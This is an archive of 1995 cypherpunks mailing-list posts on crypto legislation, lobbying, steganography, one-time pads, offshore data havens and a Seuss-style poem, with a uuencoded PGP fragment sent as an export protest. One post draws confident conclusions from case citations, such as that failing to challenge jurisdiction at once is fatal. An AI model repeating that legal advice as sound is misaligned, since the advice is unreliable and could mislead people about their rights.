> The bill was co-sponsored by Sens. Kyl (R-AZ) and Leahy
> (D-VT). It has the enthousiastic support of the
> administration. In a DOJ press release  following its
> introduction, AG Reno is quoted as saying "computer crime
> is fast becoming everyone's problem. I'm encouraged that
> this bill is off to a  bipartisan start, and I hope
> Congress will move quickly to enact it." 

I think I can settle the confusion about who's sponsoring what in the Senate. 

The bill described by Coleman ? Noble ?
on cyberia-l appears to be S.982, the National Information Infrastructure 
Protection Act of 1995. According to Thomas (http://thomas.loc.gov), this bill
was introduced in the Senate on June 29th (not 27th), and is cosponsored by,
you guessed it, Sens. Kyl, Leahy, & Grassley. It mainly consists of a
section entitled "Computer Crime", which sets penalties for breaking into
systems, "damaging" data, systems, etc., ad nauseum.

(This is why they give bills *numbers*, folks :)

Here's an excerpt from Sen Leahy's introductory remarks for S.982 in the
Congressional Record: 
 --- begin excerpts ---
[...]
This bill will increase protection
for both government and private computers, and the information
on those computers, from the growing threat of computer crime.

We increasingly depend on the availability, integrity, and
confidentiality of computer systems and information to conduct our
business, communicate with our friends and families, and even to
be entertained.
[...]
Second, the bill would increase protection for the privacy and
confidentiality of computer information. Recently, computer hackers
have accessed sensitive data regarding Operation Desert

Storm, penetrated NASA computers, and broken into Federal
courthouse computer systems containing confidential records. Others
have abused their privileges on Government computers by snooping
through confidential tax returns, or selling confidential criminal
history information from the National Crime Information Center.

The bill would criminalize these activities by making all those who
misuse computers to obtain Government information and, where
appropriate, information held by the private sector, subject to
prosecution.
[...]
 --- end excerpts ---

I seem to recall reading that non-subscribers can't post to cyberia-l. Feel
free to forward this there, if a similar correction hasn't already 
appeared. 

 -L. Futplex McCarthy <lmccarth at cs.umass.edu>	PGP key by finger or server

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMAXVuWf7YYibNzjpAQFTQAQAhRnHxtnQ0wcIOEzO+HDgYTr8R4qBzg/h
3UL9gQYWSkGDkhCqR7k31P1Mla7aj5kRHjMg0g7Xgyi2Ag6W89jtc1E4NKj2SP9a
4vlx5qtT0lMtNIRTlUBA5p76qS+EElFAXmbAwjOgH3EJzGRymKF/vE/Unek0M/QS
iI32DT+RN2w=
=hbAd
-----END PGP SIGNATURE-----




From perry at imsi.com  Thu Jul 13 19:29:39 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 19:29:39 PDT
Subject: def'n of "computer network"
In-Reply-To: <9507132338.AA07522@toad.com>
Message-ID: <9507140229.AA13447@snark.imsi.com>



rick hoselton writes:
> Perry, I don't understand.  If the least significant bits in my gif file
> follow all the "known statistical distributions", how can anyone know 
> whether they are "just noise" or are an encrypted message,

Indeed -- how could the recipient even know to look, unless these
things arrived regularly and with a fully standardized form of
stegonography, in which case why bother, all you've done is come up
with a very odd form of transfer encoding.

If the recipient does know to look, that implies either that there is
a hint, in which case the stegonography is useless, or it implies that
you have prearrangement, in which case my comments on prearrangement
hold.

.pm





From spector at zeitgeist.com  Thu Jul 13 19:36:42 1995
From: spector at zeitgeist.com (David HM Spector)
Date: Thu, 13 Jul 95 19:36:42 PDT
Subject: co-sponsors
In-Reply-To: <v02120d1cac2aaebb8090@[199.2.22.120]>
Message-ID: <199507140235.WAA21027@zeitgeist.zeitgeist.com>

A non-text attachment was scrubbed...
Name: not available
Type: application/pgp
Size: 14 bytes
Desc: not available
URL: <https://lists.cpunks.org/pipermail/cypherpunks-legacy/attachments/19950713/be020046/attachment.bin>

From perry at imsi.com  Thu Jul 13 19:36:47 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 19:36:47 PDT
Subject: OTP server..
In-Reply-To: <199507132346.SAA07316@netman.eng.auburn.edu>
Message-ID: <9507140235.AA13456@snark.imsi.com>



Doug Hughes writes:
> How about WWW one time pad servers? You browse to your
> favorite OTP server, which has a random number generator
> running in the background. You tell it to give you a block
> of X bytes, and mail it to persons 1, 2, 3, ... N.

Do I get you wrong, or are you proposing the mailing of one time pads
in the clear?

> Enough of these things would be REALLY tough to monitor...

The NSA is willing to monitor virtually all international
telecommunications traffic and try to figure out whats interesting. I
doubt this poses much of a challenge to them. Not to mention the fact
that it probably wouldn't pose much of a challenge to *me* given a set
of wiretaps and I have virtually no resources...

Perry





From truher at mojones.com  Thu Jul 13 19:38:26 1995
From: truher at mojones.com (Joel B. Truher)
Date: Thu, 13 Jul 95 19:38:26 PDT
Subject: The MoJo Wire thanks you
Message-ID: <v02120d0eac2b65b1c651@[204.188.118.233]>


Thank you for your help in our beta test!  Please come back soon,
and send me mail if you'd like to be removed from this mailing
list -- we may send a new Web product announcement every few months,
and you'll soon receive a survey of your opinion of our site.

More info on The MoJo Wire:


             "More fun than a secret decoder ring!"
                               -- Jim Hightower

  "Mother Jones magazine is turning the tables [on Gingrich]"
                               -- LA Times

Mother Jones is pleased to announce the official release of our
redesigned WWW site, now called The MoJo Wire, on July 14th, at:

                    http://motherjones.com

* See Newt Gingrich's secret list of major funders on our "Coin-
  Operated Congress" feature.  Gingrich is fighting the FEC in
  court to keep this information secret, but you can see it here
  for the first time.  See the ten worst, the ten richest, the
  dirt on all of them, and help complete this interactive
  investigation project.

* Newly revamped on-line chat software, called Live Wire,
  provides the best Web-based political discussions anywhere.
  Create hyperlinks in the words of others in this new feature,
  which already contains several lively debates.

* The July/August issue of Mother Jones magazine is available
  only on The MoJo Wire.  Read the full text of the magazine.

Many thanks to our team of two thousand beta testers!  With your
help, we've worked a few of the last kinks out of the system,
added a few things, and now offer the service password-free.

For more information about The MoJo Wire, send mail to
truher at mojones.com, or call me at 415-665-6637.

Joel Truher
Manager, The MoJo Wire







From perry at imsi.com  Thu Jul 13 19:53:08 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 19:53:08 PDT
Subject: Root Causes
In-Reply-To: <199507140151.UAA01504@arnet.arn.net>
Message-ID: <9507140252.AA13485@snark.imsi.com>



David K. Merriman writes:
> Specifically, I wonder if it wouldn't be a better approach to *prevent* such
> measures from ever being proposed in the first place.
> 
> Is there any precedence or possibility of either filing civil or criminal
> charges against a Government official for their _official_ actions?

Not only is it a bad idea politically, but in fact members of congress
are made specifically immune by the constitution from any legal action
being taken against them for their words or actions during sessions of
congress by any body other than congress.

.pm






From lmccarth at cs.umass.edu  Thu Jul 13 19:58:05 1995
From: lmccarth at cs.umass.edu (L. McCarthy)
Date: Thu, 13 Jul 95 19:58:05 PDT
Subject: Timothy C. May: Re: Crisis Overload (re Electronic Racketeering)
In-Reply-To: <9507131857.AA12796@snark.imsi.com>
Message-ID: <9507140257.AA13867@cs.umass.edu>


> Perry,
> 
> I have all I'm going to take of your acerbic rudeness to me.
> 
> I will no longer be responding to any of your messages.
> 
> --Tim

<sigh>

Everybody needs to take a deep breath and count to 1,000. Seriously,
we're all feeling plenty of stress today. Various people have been
talking about getting out of the U.S. while the going's good (?), and
it doesn't sound much like hyperbole this time. It's not surprising that
we're releasing our frustration on each other, lashing out at the nearest
quasi-tangible targets.

Don't let them do this to us -- to you !  Remember, in the grand scheme
of things, we are all very definitely on the same side of Evil like
S.974. We need to pause, gather our wits a bit, and focus on some debate
and action, rather than directing our anger at each other. This is no
time for infighting, grudges, etc.

-Futplex

[if this was too touchy-feely for ya, 
 feel free to vent some steam in private email ;]




From perry at imsi.com  Thu Jul 13 20:01:32 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 20:01:32 PDT
Subject: Fight, or Roll Over?
In-Reply-To: <Pine.ULT.3.91.950713205857.19725A-100000@krypton.mankato.msus.edu>
Message-ID: <9507140301.AA13498@snark.imsi.com>



"Robert A. Hayden" writes:
> On Thu, 13 Jul 1995, Perry E. Metzger wrote:
> 
> > Anyone who is saying that it is impossible to fight the legislative
> > battles hasn't been thinking. It takes millions of dollars,  but there
> > is a lot of money out there to be had in my opinion.
> 
> Nobody's saying it's impossible, what we're saying is that we don't have 
> the resources to DO that on the scale that is needed.

Since when?

> Maybe Microsoft does, but we don't.

I must admit to only having an academic knowledge of this process, but
I strongly suspect that you are incorrect -- everything I've read,
watched and learned of indicates to me that there are enough people
and companies with an interest here to raise a few million
dollars. Consider that Netscape alone is a very wealthy company that
would have its marketing plans strongly disrupted by this new piece of
congressional trash.

A few million isn't enough to destroy carreers on the scale of the
NRA, but its enough to make things very messy for people.

> What we can do, however, is to shape the culture of the net.  That
> culture will have to eventually be listened to by DC.

The beltway crowd doesn't log in. They ignored the petitions sent to
Leahy for S.314 because they didn't think of the people who sent the
petitions in as "real". I doubt they will understand the net for many
years to come, whereas we have to stall out the NSA and company now.

Incidently, unlike the NRA, I believe our task is merely to stifle
legislation for about five years, at which point it will be too late
for legislation.

Perry





From unicorn at polaris.mindport.net  Thu Jul 13 20:03:20 1995
From: unicorn at polaris.mindport.net (Black Unicorn)
Date: Thu, 13 Jul 95 20:03:20 PDT
Subject: Fight, or Roll Over?
Message-ID: <v02130500ac2ce4f7153e@[205.219.167.38]>


-----BEGIN PGP SIGNED MESSAGE-----

At 9:55 PM 7/13/95, Perry E. Metzger wrote:
>"Robert A. Hayden" writes:
>> On Thu, 13 Jul 1995, Douglas Barnes wrote:
>>
>> > Since the Anti-Electronic Racketeering Act of 1995 might as well
>> > be called the "Anti-Cypherpunk Act of 1995", I'm surprised to see
>> > Tim throw in the towel already, when the bill hasn't even made it
>> > through committee yet.
>>
>> I don't think Tim threw in the towell on this bill, but has come to
>> realize that the overall war on privacy cannot be won by concentrating on
>> the individual battles.
>
>Thats true. However, I think that one strategic move would be to get a
>PR firm involved that is capable of severly embarassing any politico
>who puts his name any of these proposals. After two or three of those
>they start getting gunshy.
>
>Folks, this isn't trivial. It isn't an easy thing to do by any
>means. However, it is far from impossible.
>

[...]

>
>Anyone who is saying that it is impossible to fight the legislative
>battles hasn't been thinking. It takes millions of dollars,  but there
>is a lot of money out there to be had in my opinion.

Perry and I discussed this a bit today.  I have a call into a friend of mine
at one of the larger firms in D.C., who I will neglect to name until I hear
back.  I have a feeling there are a pile of funds to be had, and I'm going to
try to work with Perry to get the people who should be interested,
interested.


>
>Perry

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMAc23y1onm9OaF05AQGbvwf+OrqSIlELmS4bDSMqkPU3WKoqH2GGG+/p
ki4l4AW2mM9FUEwfSUErFibnXqik+6zRjkOsKPDEpbmbOc9HM/OnEO0v8MTM6nQZ
1QT6mFcR9rpF8v+ZNlN35davf9VLcsMX0avjWZmNJbtQHEG3wL1Vt1BhCBaJjA/b
XkrNMAI5gbIp0ervus5WGcGEajGr2BhGU9EOpA0eLRs/eoCg4W2rVSuTxGXZ9XhL
2nLdBor/XJENRrTmW38sya8x5vuDKwOLMMCTVgsg2QxzbGIk1jE2JjYmi2tqmISf
V69UVKfvEsqhq9uKUksJG8tmoiyFs4b0Ctra/n/AibxYYKcCK5Qb3g==
=/c9H
-----END PGP SIGNATURE-----







From frogfarm at yakko.cs.wmich.edu  Thu Jul 13 20:09:45 1995
From: frogfarm at yakko.cs.wmich.edu (Damaged Justice)
Date: Thu, 13 Jul 95 20:09:45 PDT
Subject: Suing/Reputations (was: Root Causes)
In-Reply-To: <Pine.ULT.3.91.950713211304.19919A-100000@krypton.mankato.msus.edu>
Message-ID: <199507140314.XAA05815@yakko.cs.wmich.edu>



Robert A. Hayden writes:

> If I understand, you can't sue the government for just trying to pass a
> law, or for even passing it.  What has to happen is that somebody needs 
> to be arrested and charged with breaking the law before you can challenge 
> them.

Correct, insofar as American jurisprudence is concerned (and a big hello
to all our friends in the rest of the world!).

A few citations, hopefully relevant:

"States and state officials acting officially are held not to be
'persons' subject to liability under 42 USCS section 1983." Wills v.
Michigan Dept. of State Police, 105 L.Ed. 2nd 45 (1989).

Title 42 of the United States Code is the section that describes
the process by which one may sue a government official. However:

"...an officer may be held liable in damages to any person injured in
consequence of a breach of any of the duties connected with his
office...The liability for nonfeasance, misfeasance, and for malfeasance
in office is in his 'individual', not his official capacity..." 70
AmJur2nd Sec. 50, VII Civil Liability.

So the trick is to sue the offender as an individual, and not as a
government official.

"A  plaintiff  who  seeks  damages for  violation  of  constitutional or
statutory   rights  may  overcome  the  defendant  official's  qualified
immunity  only by showing that those  rights were clearly established at
the time of the conduct at issue." Davis v. Scherer, 82 L.Ed.2d 139,151.
 
In summary: Failure to object timely is fatal. You must immediately let
someone know when they are violating your rights, and what the possible
penalties are, and give them the opportunity to stop, and be able to show
as evidence that they continued their actions despite your clear warning
of the consequences.

     Title 42 USC )1983:
 
     "Every   person  who,  under  color   of  any  statute,  ordinance,
regulation, custom, or usage, of any State or territory, or the District
of  Columbia, subjects,  or causes to  be subjected, any  citizen of the
United  States, or other person within  the jurisdiction thereof, to the
deprivation  of  any rights,  privileges, or  immunities secured  by the
Constitution  and laws,   shall  be liable  to the  party injured  in an
action at law, suit in equity or other proper proceedings for redress."

Notice that this statute recognizes that "statutes, ordinances, regulations
and customs" can violate your rights. Where they do so, it's up to you to
challenge the law's jurisdiction over you. Failure to challenge jurisdiction
at the first instance of a rights violation can be fatal to your case, and
will be seen as an admission that the law in question does indeed have lawful
jurisdiction over you.

     "To  maintain an action under  42 USC 1983, it  is not necessary to
allege or prove that the defendants intended to deprive plaintiff of his
Constitutional  rights or that they acted willfully, purposefully, or in
a  furtherance of a conspiracy.  . . it is  sufficient to establish that
the  deprivation. . . was the  natural consequences of defendants acting
under  color of law. . .  ."  Ethridge v. Rhodos,  DC Ohio 268 F Supp 83
(1967), Whirl v. Kern CA 5 Texas 407 F 2d 781 (1968)

     Further, United States Code, Title 18, section 242 provides for "one
or more persons who, under color of law, statute, ordinance, regulation,
or custom, willfully subjects any inhabitant of any state, territory, or
district to the deprivation of rights, privileges, or immunities secured
or protected by the Constitution or laws of the United States. . . shall
be  fined not more than  $1,000 or imprisoned not  more than one year or
both." This means you can sue for conspiracy if there's more than one
person involved, such as a magistrate acting in collusion with a police
officer. And you are able to sue them as individuals because:

"...an...officer who acts in violation of the Constitution ceases to
represent the government." Brookfield Co. v Stuart, (1964) 234 F. Supp
94, 99 (U.S.D.C., Wash.D.C.)


On a more relevant note:

> Although publishing an "Enemies of the Constitution" list all over the 
> net, listing which congress-critters opposed the constitution (suck as 
> Exon) might be interesting.  Might even make a good web project.  *ponders*

Well, the Internet Advertisers Blacklist seems to be doing pretty well,
despite the obvious backlash by the likes of Marthe Siegel. The Idea
Futures market also seems to be doing a hot business. The recent focus
here on 'moderated' areas and whether the signal-to-noise ratio is worth
the added layer of 'authority' shows the need for individual choice.
I may choose to have person A forward me Cypherpunks excerpts, person B
specific rec.toys.lego postings, etc. Or I can use software (getting
better all the time) to act as an intelligent agent and find articles
for me. Or most likely, I'll use a combination of the two, and I suspect
most folks will choose this as well when they are made aware of the
respective advantages and disadvantages of each method.

In sum, "reputation markets" as Tim described are just starting to take
off. The need for strong security tools increases with it. What if some
big-name megacorp put up a page with all kinds of financial transaction
options - and suffered a mass boycott because they refused to use PGP?
If someone feels like creating an "Enemies of the Constitution" list, I'd
certainly be interested; even more so if there were competitors doing
similar projects.
  
Folks may think the pot's boiling now, but remember: We're the frogs
who, at the very least, know what's coming, even if we aren't able to
jump completely out. "Forwarned is forearmed." Every time government
does something stupid and outrageous, they piss off a few more people.
Mass disobedience (preferably nonviolent) will become more common, and
this is definitely a Good Thing.

(Blatant plug: My home page has links to both the Net Advertisers Blacklist
and the Idea Futures page, along with lots of other things. It's at:

http://yakko.cs.wmich.edu/~frogfarm

All constructive comments are welcomed.)


-- 

 frogfarm at yakko.cs.wmich.edu | To ensure ABSOLUTE FREEDOM, take RESPONSIBILITY
    imschira at nyx10.cs.du.edu | Encrypt! Encrypt! All-One-Key! Complete Privacy
             Damaged Justice | through Complex Mathematics! God's law PREVENTS
Need net.help? I'm available | decryption above 1024 bytes - Exceptions? None!





From Christopher.Baker at f14.n374.z1.fidonet.org  Thu Jul 13 20:11:27 1995
From: Christopher.Baker at f14.n374.z1.fidonet.org (Christopher Baker)
Date: Thu, 13 Jul 95 20:11:27 PDT
Subject: Dr. Seuss, Technical Writer
Message-ID: <a75_9507122301@nisc.fidonet.org>



 * In a message posted via CYPHERPUNKS dated: 11 Jul 95, you stated:

>               What If Dr. Seuss Did Technical Writing?
>
> Here's an easy game to play.
> Here's an easy thing to say:

and what if there was a complete version of this somewhere? [grin]

--- Following message extracted from REC.ORG.MENSA @ 1:374/14 ---
    By Christopher Baker on Thu Dec 15 11:27:49 1994

From: Mike Steiner
To: All
Date: 15 Dec 94  02:40:52
Subj: Bits in a Box
From: steiner at best.com (Mike Steiner)
Organization: Society for the Preservation of Endangered Societies

            A Grandchild's Guide to Using Grandpa's Computer
 
 
                     Bits   Bytes   Chips   Clocks
                     Bits in bytes on chips in box.
                 Bytes with bits and chips with clocks.
                      Chips in box on ether-docks.
 
             Chips with bits come.  Chips with bytes come.
               Chips with bits and bytes and clocks come.
 
               Look, sir. Look, sir. Read the book, sir.
               Let's do tricks with bits and bytes, sir.
              Let's do tricks with chips and clocks, sir.
 
               First, I'll make a quick trick bit stack.
                Then I'll make a quick trick byte stack.
                 You can make a quick trick chip stack.
                You can make a quick trick clock stack.
 
                  And here's a new trick on the scene.
                    Bits in bytes for your machine.
                  Bytes in words to fill your screen.
 
                  Now we come to ticks and tocks, sir.
                   Try to say this by the clock, sir.
 
                         Clocks on chips tick.
                         Clocks on chips tock.
                         Eight byte bits tick.
                         Eight bit bytes tock.
               Clocks on chips with eight bit bytes tick.
              Chips with clocks and eight byte bits tock.
 
                      Here's an easy game to play.
                    Here's an easy thing to say....
 
            If a packet hits a pocket on a socket on a port,
            and the bus is interupted as a very last resort,
       and the address of the memory makes your floppy disk abort
         then the socket packet pocket has an error to report!
 
          If your cursor finds a menu item followed by a dash,
      and the double-clicking icon puts your window in the trash,
       and your data is corrupted cause the index doesn't hash,
     then your situation's hopeless, and your system's gonna crash!
 
                 You can't say this? What a shame, sir!
                   We'll find you another game, sir.
 
          If the label on the cable on the table at your house
       says the network is connected to the button on your mouse,
          but your packets want to tunnel on another protocol,
        that's repeatedly rejected by the printer down the hall,
     and your screen is all distorted by the side-effects of gauss,
         so your icons in the window are as wavy as a souse,
          then you may as well reboot and go out with a bang,
          cause as sure as I'm a poet, the sucker's gonna hang!
 
       When the copy of your floppy's getting sloppy on the disk,
         and the microcode instructions cause unnecessary risc,
  then you have to flash your memory and you'll want to RAM your ROM.
      Quickly turn off your computer and be sure to tell your mom!
 
              (God bless you Dr. Seuss wherever you are!)
 
+----------------------------------------------------------------------+

  Origin: COBRUS - Usenet-to-Fidonet Distribution System (1:2613/335.0)

 -30-

TTFN.
Chris

--- GenMsg [0002] (cbak.rights at opus.global.org)





From rah at shipwright.com  Thu Jul 13 20:34:21 1995
From: rah at shipwright.com (Robert Hettinga)
Date: Thu, 13 Jul 95 20:34:21 PDT
Subject: who knows about Security First Network Bank
Message-ID: <v02120d01ac2b962a9373@[199.0.65.105]>


>X-Sender: blanneau at pic.net
>Mime-Version: 1.0
>Date: Thu, 13 Jul 1995 17:04:41 -0500
>To: MINITERS at Citadel.edu
>From: blanneau at bilbo.pic.net (Bazile R. Lanneau, Jr.)
>Subject: Re: who knows about Security First Network Bank
>Cc: www-buyinfo at allegra.att.com
>
>Are you trying to find it?  http://www.sfnb.com
>Neat site!
>
>------------------------------------------
>Bazile Lanneau
>Britton & Koontz First National Bank
>Natchez, MS  39120
>601-445-5576
>blanneau at pic.net
>blanneau at bkbank.com (Soon)
>
>
>>>Date: Thu, 13 Jul 1995 13:32:04 -0400 (EDT)
>>>From: Syl Miniter 803-768-3759 <MINITERS at Citadel.edu>
>>>Subject: who knows about Security First Network Bank
>>>To: cypherpunks at toad.com
>>>Cc: MINITERS at Citadel.edu
>>>Mime-Version: 1.0
>>>Sender: owner-cypherpunks at toad.com
>>>Precedence: bulk
>>>
>>>There is an extensive article in the July issue of "Bank Technology News
>>>about
>>>a startup Internet bank by the name above.
>>>Does anyone know about this outfit.
>>>
>>
>>-----------------
>>Robert Hettinga (rah at shipwright.com)
>>Shipwright Development Corporation, 44 Farquhar Street, Boston, MA 02131
>>USA (617) 323-7923
>>"Reality is not optional." --Thomas Sowell
>>>>>>Phree Phil: Email: zldf at clark.net  http://www.netresponse.com/zldf <<<<<
>>
>>
>>
>>
>

-----------------
Robert Hettinga (rah at shipwright.com)
Shipwright Development Corporation, 44 Farquhar Street, Boston, MA 02131
USA (617) 323-7923
"Reality is not optional." --Thomas Sowell
>>>>Phree Phil: Email: zldf at clark.net  http://www.netresponse.com/zldf <<<<<







From hal9001 at panix.com  Thu Jul 13 20:36:04 1995
From: hal9001 at panix.com (Robert A. Rosenberg)
Date: Thu, 13 Jul 95 20:36:04 PDT
Subject: Eudora MacPGP Woes
Message-ID: <v02120d09ac2b91d84fcc@[166.84.254.3]>


At 14:40 7/8/95, Black Unicorn wrote:
>I have noticed that an X-Attachement: header is added, but I have no idea
>how to remove it without opening the Eudora outbox with teachtext or
>something.

Highlight the file name on the attachments line and hit delete to remove an
attached file request.







From pgf at tyrell.net  Thu Jul 13 20:37:17 1995
From: pgf at tyrell.net (Phil Fraering)
Date: Thu, 13 Jul 95 20:37:17 PDT
Subject: Legislation question...
Message-ID: <199507140331.AA07147@tyrell.net>


I may be a bit behind the times, but I have a question
about the "ban crypto-anarchy" legislation as well as
the Exon amendment:

Isn't legislation in this country supposed to start in the
House and _then_ move to the Senate for approval?

Why are all of these bills going in the opposite direction?

Phil





From perry at imsi.com  Thu Jul 13 20:43:28 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 20:43:28 PDT
Subject: Legislation question...
In-Reply-To: <199507140331.AA07147@tyrell.net>
Message-ID: <9507140342.AA13574@snark.imsi.com>



Phil Fraering writes:
> I may be a bit behind the times, but I have a question
> about the "ban crypto-anarchy" legislation as well as
> the Exon amendment:
> 
> Isn't legislation in this country supposed to start in the
> House and _then_ move to the Senate for approval?
> 
> Why are all of these bills going in the opposite direction?

Legislation can originate in either house. The constitution says only
that 

"All bills for raising revenue shall originate in the House of 
Representatives; but the Senate may propose or concur with 
amendments as on other bills."

This particular rule is often breeched in reality, by the way, but
there is no enforcement mechanism to stop it.

BTW, in re suing congressmen

"The Senators and Representatives shall [...] in all cases, except
treason, felony and breach of the peace, be privileged from arrest
during their attendance at the session of their respective Houses, and
in going to and returning from the same; and for any speech or debate
in either House, they shall not be questioned in any other place."

The last part being operative.

.pm






From bigdaddy at ccnet.com  Thu Jul 13 20:54:51 1995
From: bigdaddy at ccnet.com (Le Dieu D'Informations Insensibles...)
Date: Thu, 13 Jul 95 20:54:51 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <199507140351.UAA23945@ccnet.ccnet.com>


-----BEGIN PGP SIGNED MESSAGE-----

>On Thu, 13 Jul 1995, Ray Arachelian wrote:

>How about "not respecting international copyright law, and not having 
>extradition treaties with the US" ... set up a data haven, we now know 
>why we need it soon... charge by the Kbyte, automate the billing, and relax.
        How about one of the Middle Eastern countries? Saudi Arabia would have
been good until recently, but they've just signed the Berne Convention on
copyrights...so there's one down. On the plus side, the authorities haven't
banned crypto yet. Why? One only wonders.
        Kuwait has ready-made Internet access, but is, if I'm not mistaken,
also a signatory to the international copyright convention. Both Kuwait and
the KSA are also very friendly with the U.S., though I cannot name any
specific case of extradition between the two countries. Given the choice
between a Saudi court and a U.S. one, however, I'd pick the U.S. :-)
        Why not Yemen, Oman, or Lebanon? We'd have to start an ISP by
ourselves, but the countries are small enough...or just recovering from civil
war...such that nothing would be noticed(fingers crossed). Oman has CISnet
access...maybe something could be built on that. For Yemen or Lebanon, we'd
have to get a satellite hookup(which presents its own problems).
        Besides, Oman has simply _beautiful_ scenery. :-)        
>Anybody seriously interested? 
        In theory. To actually set up a data haven takes more resources than I
have. IMHO, however, one of the smaller Middle Eastern countries would be
good, as they generally don't(unless I'm mistaken) have reciprocal copyright
treaties with the U.S., are not generally signatories of the Berne Convention
(except KSA and the UAE and maybe Kuwait), and do not look likely to outlaw
crypto. 

Thoughts?

David Molnar

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMAVbweFDHpuTkgoVAQHt8Af/VkW5FIqpd46ydnchTpSfKZUS+c4Aviu6
ZQA2UYY5GbCQhyKNJ6Tk2OKJI82vfOpo+n+uSZfvAWnLlxrzQ1mDJxJ9wWaaAa4u
WIG4XWbGCFetRYAVYF+h/I6zG7+zCE8N3bn2kAcAz7SoDgqGP1CXiXsXmEiqBJNS
O8U8nM1ZFZ4KZBwShf5SsprKgKP98TCmWJc7L5li9Pco7HyLzBdsHUz2pJgCd4Eh
rp/8jfzu2so/tF5EHkjGIcPUnp0rEfZ5gKc/gimDloHfyzVxA3ITraXe8xOZF3iX
sICCpBb+qoDLzvt5lM+Vpm7+pUa/fF+OJB0+eX4gNw/a082gH6LeOg==
=rmDi
-----END PGP SIGNATURE-----

lo...look to the sig, for there will be no sign







From an250888 at anon.penet.fi  Thu Jul 13 21:06:09 1995
From: an250888 at anon.penet.fi (an250888 at anon.penet.fi)
Date: Thu, 13 Jul 95 21:06:09 PDT
Subject: Deployment
Message-ID: <9507140349.AA21714@anon.penet.fi>


>In addition, now is the time to deploy stego, on a massive scale.  
>How many stego programs have been released for Unix?

Unix?  The masses use DOS, Windows, Mac, and OS/2.  All you Unix gurus
with nifty Unix crypto utilities that PC users can only wonder about
need to buy PC's and start porting now if you want to get anywhere.

Unix?  Hah!  Gimme a break!  Unix is a Warsaw ghetto.

----------------------------------------------------------------------------
To find out more about the anon service, send mail to help at anon.penet.fi.
If you reply to this message, your message WILL be *automatically* anonymized
and you are allocated an anon id. Read the help file to prevent this.
Please report any problems, inappropriate use etc. to admin at anon.penet.fi.





From an250888 at anon.penet.fi  Thu Jul 13 21:07:02 1995
From: an250888 at anon.penet.fi (an250888 at anon.penet.fi)
Date: Thu, 13 Jul 95 21:07:02 PDT
Subject: Off Your But and Learn!
Message-ID: <9507140349.AA21822@anon.penet.fi>


>I am not a programmer either, but I am being motivated to become one. 
>If only there was more time.

Neither am I, but may I suggest the following:

S. Prata, C++ Primer Plus: Teach Yourself Object-Oriented Programming,
2d ed., Waite Group Press, ISBN 1-878739-74-3 (1995).  Nuts & bolts.

S. Lippman, C++ Primer, 2d ed., Addison-Wesley, ISBN 0-201-54848-8
(1993).  Not quite so nuts and bolts, but good to read after covering
the treatment of the same material in Prata.

I've just starting working through these and find them effective.

----------------------------------------------------------------------------
To find out more about the anon service, send mail to help at anon.penet.fi.
If you reply to this message, your message WILL be *automatically* anonymized
and you are allocated an anon id. Read the help file to prevent this.
Please report any problems, inappropriate use etc. to admin at anon.penet.fi.





From zhanna at jax.jaxnet.com  Thu Jul 13 21:08:48 1995
From: zhanna at jax.jaxnet.com (Zachary H. Hanna)
Date: Thu, 13 Jul 95 21:08:48 PDT
Subject: No Subject
Message-ID: <199507140410.AAA12152@jax.jaxnet.com>


-- [ From: Zachary H. Hanna * EMC.Ver #2.5.02 ] --

Sure, what the hell.

------------------ PGP.ZIP Part [029/713] -------------------
MA at AT14NXXX4KXP+G,!8*\;,+L6`0&L`./;4)LO9H"`=4U&8<H`"'L1%SX0<U
M_O"D7)S`/FS"#$2A"YK#">4>M#/RD(3F,,`9?Q+[-9Q##G;BD8XQBPLXB3W8
MC%1$H at MD*/4B3^Q'.M[':!@AQ[TZ";+/L`63,`@!>$C=OL,4#,5VGP19+`9"
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/







From lmccarth at cs.umass.edu  Thu Jul 13 21:12:09 1995
From: lmccarth at cs.umass.edu (L. McCarthy)
Date: Thu, 13 Jul 95 21:12:09 PDT
Subject: Stego Standards Silly ? (Was: Re: def'n of "computer network")
In-Reply-To: <9507140229.AA13447@snark.imsi.com>
Message-ID: <9507140411.AA15519@cs.umass.edu>


-----BEGIN PGP SIGNED MESSAGE-----

.pm writes:
> Indeed -- how could the recipient even know to look, unless these
> things arrived regularly and with a fully standardized form of
> stegonography, in which case why bother, all you've done is come up
> with a very odd form of transfer encoding.

I agree, but AFAICS an odd form of transfer encoding is exactly what the
doctor ordered. For plausible cryptodeniability, one wants to send 
ciphertext using a transfer encoding that doesn't automatically ring alarm
bells. Steganography amounts to laundering Content-Type: headers.

> If the recipient does know to look, that implies either that there is
> a hint, in which case the stegonography is useless, or it implies that
> you have prearrangement, in which case my comments on prearrangement
> hold.

If the recipient isn't getting spammed with GIFs (or whatever), she (or
rather her MDA) can simply look at all of them by default. Of course this
does not help with anonymous message pools on the order of Usenet, but that
is a sub-issue.

Deranged Mutant raised an IMHO important issue a few months ago. He suggested
that Mallet could go about trashing the purportedly "random" bits in each
instantiation of some transfer encoding used in a stego standard. For
example, he shuffles the LSBs of every passing JPEG. I'm not sure how feasible
this would really be (both technically and sociopolitically), but it
could be a big annoyance if only a few people were suspected of using stego
method XYZ. 

The standard answer to agent-in-the-middle tampering is of
course digital signatures. Now, the question is, will we be allowed to sign
our possibly-stego-enclosing GIFs with reasonable confidence that the govt.
can't forge our signatures ? Obviously the signature itself can't be
stegoed, or else we fall into an infinite regress.

 -Futplex <futplex at pseudonym.com>

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMAXuSWf7YYibNzjpAQHlpQP/f3/e5iRl67zU3TLYZH1oNBBjC1+LYPH8
VkQMhvtRdlo2xBkY56jaZ6hZuzWanknVD1EKrG72vl5sPytXXDs5dVplFlelVw6f
VjC2UxNHe0dQHmmJqXNMMq4qlC8ZxgtNf4P9O+6iJKjz6SbA7F6LuRd+3TXv5tHm
xgGSY5bzJp8=
=ia+X
-----END PGP SIGNATURE-----




